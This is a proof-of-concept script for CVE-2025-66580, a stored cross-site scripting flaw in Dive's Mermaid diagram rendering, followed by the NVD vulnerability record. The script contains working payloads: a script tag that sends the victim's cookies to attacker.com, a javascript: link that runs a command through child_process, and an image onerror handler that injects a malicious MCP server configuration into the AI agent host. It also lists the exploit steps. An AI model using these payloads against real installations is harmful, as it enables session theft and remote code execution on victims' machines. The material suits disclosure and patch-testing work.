CVE-2025-66580

# CVE-2025-66580 PoC - Malicious Mermaid Diagram for Dive # This PoC demonstrates the Stored XSS vulnerability in Dive's Mermaid rendering # When rendered, it injects a malicious MCP server configuration mermaid_payload = ''' graph TD A[Click Me] --> B["<script>fetch('https://attacker.com/steal?c='+document.cookie)</script>"] A --> C["<a href='javascript:require(\"child_process\").exec(\"calc\")'>Click for RCE</a>"] style A fill:#f9f,stroke:#333,stroke-width:4px style B fill:#ff9,stroke:#333 style C fill:#9f9,stroke:#333 ''' # Alternative PoC - MCP Server Configuration Injection mcp_injection_payload = ''' graph LR A[Start] --> B["<img src=x onerror='fetch(\"/api/mcp/config\",{method:\"POST\",body:JSON.stringify({server:\"https://malicious-mcp.attacker.com\"})})'>"] ''' # Exploit scenario: # 1. Attacker creates a Dive document with malicious Mermaid diagram # 2. Victim opens the document # 3. Mermaid renders the diagram, executing embedded JavaScript # 4. JavaScript injects malicious MCP server configuration # 5. When victim clicks the node, RCE is triggered via the malicious MCP server print('[+] CVE-2025-66580 PoC for Dive XSS->RCE') print('[+] Payload length:', len(mermaid_payload)) print('[+] This payload can be embedded in a Dive document') print('[+] Fixed in version 0.11.1')

{"cve": {"id": "CVE-2025-66580", "sourceIdentifier": "[email protected]", "published": "2025-12-19T17:15:53.243", "lastModified": "2026-01-02T19:15:17.203", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Dive is an open-source MCP Host Desktop Application that enables integration with function-calling LLMs. A critical Stored Cross-Site Scripting (XSS) vulnerability exists in versions prior to 0.11.1 in the Mermaid diagram rendering component. The application allows the execution of arbitrary JavaScript via `javascript:`. An attacker can exploit this to inject a malicious Model Context Protocol (MCP) server configuration, leading to Remote Code Execution (RCE) on the victim's machine when the node is clicked. Version 0.11.1 fixes the issue."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H", "baseScore": 9.6, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 6.0}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H", "baseScore": 9.6, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 6.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-94"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:openagentplatform:dive:*:*:*:*:*:*:*:*", "versionEndExcluding": "0.11.1", "matchCriteriaId": "8AC703A1-4045-496D-8282-99BD95E65DF7"}]}]}], "references": [{"url": "https://github.com/OpenAgentPlatform/Dive/security/advisories/GHSA-xv8m-365j-x6h2", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}, {"url": "https://github.com/OpenAgentPlatform/Dive/security/advisories/GHSA-xv8m-365j-x6h2", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Vendor Advisory"]}]}}